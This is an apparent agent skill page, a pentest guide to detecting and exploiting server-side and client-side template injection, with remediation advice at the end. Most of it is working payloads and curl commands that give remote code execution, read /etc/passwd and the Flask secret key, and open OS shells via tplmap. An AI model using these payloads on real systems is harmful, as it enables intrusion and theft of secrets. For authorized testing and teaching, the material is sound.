AGENT SKILL

exploiting-template-injection-vulnerabilities

Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution. Use when pentesting a web application that renders user input through a server-side template engine and you need to confirm and weaponize SSTI.

License 许可
Apache-2.0
最近更新
2026-08-31
Stars
★ 3.6w
Forks
4.4k

01 前言 Front Matter

name
exploiting-template-injection-vulnerabilities
tags
[ "penetration-testing", "ssti", "template-injection", "rce", "web-security", "owasp" ]
author
mahipal
domain
cybersecurity
license
Apache-2.0
version
1.0
nist_csf
[ "PR.PS-01", "ID.RA-01", "PR.DS-10", "DE.CM-01" ]
subdomain
web-application-security
description
Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution. Use when pentesting a web application that renders user input through a server-side template engine and you need to confirm and weaponize SSTI.
mitre_attack
[ "T1190", "T1059.007", "T1505.003", "T1083", "T1055" ]

02 资源文件 3

03 SKILL.md 正文

Exploiting Template Injection Vulnerabilities

When to Use

  • During authorized penetration tests when user input is rendered through a server-side template engine
  • When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
  • For assessing applications that allow users to customize templates or notification messages
  • When identifying potential SSTI in parameters that reflect arithmetic results (e.g., {{7*7}} returns 49)
  • During security assessments of CMS platforms, marketing tools, or any application with templating functionality

Prerequisites

  • Authorization: Written penetration testing agreement with RCE testing scope
  • Burp Suite Professional: For intercepting and modifying template parameters
  • tplmap: Automated SSTI exploitation tool (git clone https://github.com/epinna/tplmap.git)
  • SSTImap: Modern SSTI scanner (pip install sstimap)
  • curl: For manual SSTI payload testing
  • Knowledge of template engines: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty

Workflow

Step 1: Identify Template Injection Points

Find parameters where user input is processed by a template engine.

# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present

# Universal detection payloads
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templates

Step 2: Identify the Template Engine

Determine which template engine is in use to select the appropriate exploitation technique.

# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)

# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask

# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker

# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity

# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty

# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble

# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"

Step 3: Exploit Jinja2 (Python/Flask)

Achieve code execution through Jinja2 template injection.

# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"

# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# File read via Jinja2
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Enumerate available subclasses to find useful ones
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines

Use engine-specific payloads for exploitation.

# --- Twig (PHP) ---
# RCE via Twig
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"

# Twig file read
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"

# --- Freemarker (Java) ---
# RCE via Freemarker
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"

# Alternative Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"

# --- Velocity (Java) ---
# RCE via Velocity
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"

# --- Smarty (PHP) ---
# RCE via Smarty
curl -s "https://target.example.com/page?name={system('id')}"

# --- ERB (Ruby) ---
# RCE via ERB
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"

# --- Pebble (Java) ---
# RCE via Pebble
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"

Step 5: Automate with tplmap and SSTImap

Use automated tools for comprehensive testing and exploitation.

# tplmap - Automated SSTI exploitation
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell

# tplmap with POST parameter
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"

# tplmap with custom headers
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  -H "Cookie: session=abc123" \
  -H "Authorization: Bearer token" \
  --os-cmd "whoami"

# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell

# tplmap file read
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  --download "/etc/passwd" "/tmp/passwd"

# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the injectable parameter
# 3. Load SSTI payload list
# 4. Grep for indicators: "49", error messages, class names

Step 6: Test Client-Side Template Injection (CSTI)

Assess for Angular/Vue/React expression injection in client-side templates.

# AngularJS expression injection
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"

# AngularJS sandbox bypass (pre-1.6)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"

# Vue.js expression injection
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"

# Check for AngularJS ng-app on the page
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"

# Test with different CSTI payloads
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
  '{{$on.constructor("alert(1)")()}}'; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload: "
  curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done

Key Concepts

Concept Description
SSTI Server-Side Template Injection - injecting template directives that execute server-side
CSTI Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS)
Template Engine Software that processes template files with placeholders, replacing them with data
Sandbox Escape Bypassing template engine security restrictions to access dangerous functions
MRO (Method Resolution Order) Python class hierarchy traversal used in Jinja2 exploitation
Object Introspection Using __class__, __subclasses__(), __globals__ to navigate Python objects
Blind SSTI Template injection where output is not directly visible, requiring OOB techniques

Tools & Systems

Tool Purpose
tplmap Automated SSTI detection and exploitation with OS shell capability
SSTImap Modern SSTI scanner with support for multiple template engines
Burp Suite Professional Request interception and Intruder for payload fuzzing
Hackvertor (Burp Extension) Payload encoding and transformation for bypass techniques
PayloadsAllTheThings Comprehensive SSTI payload reference on GitHub
OWASP ZAP Automated SSTI detection in active scanning mode

Common Scenarios

Scenario 1: Flask Email Template Injection

A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through {{config.items()}} and subclass traversal.

Scenario 2: Java CMS Freemarker Injection

A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} to execute commands.

Scenario 3: Error Page SSTI

A custom 404 error page reflects the requested URL path through a Twig template. Requesting /{{['id']|filter('system')}} causes the server to execute the id command.

Scenario 4: AngularJS Client-Side Injection

A search page renders results using AngularJS with ng-bind-html. Searching for {{constructor.constructor('alert(document.cookie)')()}} achieves XSS through AngularJS expression evaluation.

Output Format

## Template Injection Finding

**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
**Severity**: Critical (CVSS 9.8)
**Location**: GET /page?name= (name parameter)
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. Server returns: uid=33(www-data) gid=33(www-data)

### Confirmed Impact
- Remote code execution as www-data user
- Secret key disclosure: Flask SECRET_KEY exposed
- File system read: /etc/passwd, application source code
- Potential lateral movement to internal network

### Recommendation
1. Never pass user input directly to template render functions
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
3. Implement strict input validation and allowlisting for template variables
4. Use logic-less template engines (Mustache, Handlebars) where possible
5. Apply least-privilege OS permissions for the web application user

04 同仓库更多 Skills

mukul975
mukul975/Anthropic-Cybersecurity-Skills

verifying-build-provenance-with-slsa-sigstore

Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI/CD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.

Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

validating-tpm-measured-boot-attestation

Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote/tpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware/kernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.

Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

validating-backup-integrity-for-recovery

Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable/air-gapped backups for silent corruption or tampering.

测试与质量Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

triaging-windows-with-kape

Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment/triage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.

Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

triaging-vulnerabilities-with-ssvc-framework

Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track/Track*/Attend/Act decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.

Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

triaging-security-incident

Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM/EDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.

Skill与智能体开发
★ 3.6w